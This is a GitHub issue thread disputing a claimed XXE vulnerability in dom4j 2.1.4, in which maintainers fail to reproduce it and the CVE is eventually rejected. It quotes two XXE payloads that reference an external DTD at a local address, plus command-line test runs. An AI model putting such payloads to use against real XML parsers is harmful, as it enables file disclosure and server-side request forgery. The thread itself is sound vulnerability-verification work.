Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

works only up to v2.1.0 #1

Closed
supermaurio opened this issue Oct 27, 2023 · 19 comments
Closed

works only up to v2.1.0 #1

supermaurio opened this issue Oct 27, 2023 · 19 comments

Comments

@supermaurio
Copy link

你好,
are you sure this works with the current version v2.1.4?
For me it only works if I use v2.1.0 (or disable the XXE prevention features).
BR, 马瑞麒

@joker-xiaoyan
Copy link
Owner

joker-xiaoyan commented Oct 27, 2023 via email

@supermaurio
Copy link
Author

OK, I figured it out:
It's not a vulnerability in dom4j, but in the underlying SAX parser.
In my case it didn't trigger the vulnerability, as I am using JDK17's embedded java.xml\com\sun\org\apache\xerces\internal\jaxp\SAXParserImpl.java

@joker-xiaoyan
Copy link
Owner

joker-xiaoyan commented Oct 27, 2023 via email

@supermaurio
Copy link
Author

不​客气 :-)

@supermaurio
Copy link
Author

Reference to dom4j issue: #dom4j/dom4j#171

@ecki
Copy link

ecki commented Oct 28, 2023

The test version used in the test case is also POC verified according to the latest v2.1.4, which is feasible on my side

can you say which sax parser your tests used or which JDK, since the feature flags are directly forwarded to the underlying xmlreader, it’s not dom4js direct fault.

@joker-xiaoyan
Copy link
Owner

JDK8

@chadlwilson
Copy link

@joker-xiaoyan Which specific JDK 8 vendor and version? I cannot replicate with liberica-8u392 (wonder if anyone else can?).

Can you please considering withdrawing this CVE unless you can provide specific replication instructions?

Even if there is a problem with the underlying SAXParser implementation it should be raised against the specific implementation (e.g Xerces or JDK/JAXP), not against dom4j.

@joker-xiaoyan
Copy link
Owner

I am using version 1.8.0.371 of jdk

@chadlwilson
Copy link

Thanks @joker-xiaoyan.

I still cannot replicate this with liberica-8u372+7 and dom4j 2.1.4 (which is the fuller patch release corresponding to 371).

$ /Users/chad/.local/share/rtx/installs/java/liberica-8u372+7/bin/java -version
openjdk version "1.8.0_372"
OpenJDK Runtime Environment (build 1.8.0_372-b07)
OpenJDK 64-Bit Server VM (build 25.372-b07, mixed mode)

With xxe_payload1

$ /Users/chad/.local/share/rtx/installs/java/liberica-8u372+7/bin/java -classpath /Users/chad/Projects/community/XXE-SAXReader/target/classes:/Users/chad/.m2/repository/org/dom4j/dom4j/2.1.4/dom4j-2.1.4.jar xxeSAXReader
start

With xxe_payload2

$ /Users/chad/.local/share/rtx/installs/java/liberica-8u372+7/bin/java -classpath /Users/chad/Projects/community/XXE-SAXReader/target/classes:/Users/chad/.m2/repository/org/dom4j/dom4j/2.1.4/dom4j-2.1.4.jar xxeSAXReader
start

I expect to see a stack trace with java.net.ConnectException: Connection refused (Connection refused) or similar due to trying to resolve an external location, but don't see it.

Can you please share your java -version, full classpath and output/stack trace and validate you are using the code in the POC here? The code here doesn't actually compile as the class is named differently to the file which is disallowed in Java, so you must have some difference.

public class xxeSAXReader {

Please also confirm whether it is xxe_payload1 or xxe_payload2 that you are getting an error with? (the sample code defaults to xxe-payload1). Perhaps you are accidentally using an older dom4j version and this is a duplicate of https://nvd.nist.gov/vuln/detail/CVE-2020-10683 (allowing external DTDs)

XXE-SAXReader/POC.java

Lines 15 to 20 in 8c0d24f

String xxe_payload1 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" +
"<!DOCTYPE foo SYSTEM \"http://127.0.0.1:8888/xxe.dtd\">" +
"<foo>&xxe;</foo>";
String xxe_payload2 = "<!DOCTYPE name [<!ENTITY % catd09 SYSTEM \"http://127.0.0.1:8888/xxe.dtd\">%catd09;]>" +
"<name ></name>";
InputStream xmlFilePathStream = new ByteArrayInputStream(xxe_payload1.getBytes(StandardCharsets.UTF_8));

@joker-xiaoyan
Copy link
Owner

joker-xiaoyan commented Oct 28, 2023 via email

@chadlwilson
Copy link

chadlwilson commented Oct 28, 2023

Alright, thank you.

It would be helpful if you can email MITRE to withdraw the CVE - the process usually goes faster if the original submitter asks for the CVE Numbering Authority to withdraw than if a separate person does.

@joker-xiaoyan
Copy link
Owner

joker-xiaoyan commented Oct 28, 2023 via email

@rahul-mb
Copy link

@joker-xiaoyan , is the required action (action mentioned by @chadlwilson in previous update) taken to resolve the issue ?

@chadlwilson
Copy link

@joker-xiaoyan , is the required action (action mentioned by @chadlwilson in previous update) taken to resolve the issue ?

Personally I have also asked MITRE to withdraw it but have not received a response. For now it is just marked as disputed and an extra link added to this discussion but it is not yet withdrawn: https://www.cve.org/CVERecord?id=CVE-2023-45960

Also asked Sonatype OSSIndex to detach it from dom4j.

@chadlwilson
Copy link

chadlwilson commented Nov 17, 2023

Hello @joker-xiaoyan - did you contact MITRE to via https://cveform.mitre.org/ to ask them to reject/ withdraw the CVE at https://www.cve.org/CVERecord?id=CVE-2023-45960 ?

While it's marked as 'disputed' it is not withdrawn/rejected which means it is still creating confusion in other databases including the NIST NVD.

@david-waltermire
Copy link

@chadlwilson and @joker-xiaoyan I am a NIST employee who serves on the CVE Board. I wanted to let you know that I have raised this issue with the CVE Board. While I cannot promise a resolution, I am going to do my best to get this record rejected in the CVE Program's CVE list for you. I personally believe this is the right thing to do in this case. If the CVE is rejected, the NVD will get updated accordingly.

@chadlwilson
Copy link

👋 @david-waltermire-nist - thanks, that sounds great!

@david-waltermire
Copy link

This CVE was rejected.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants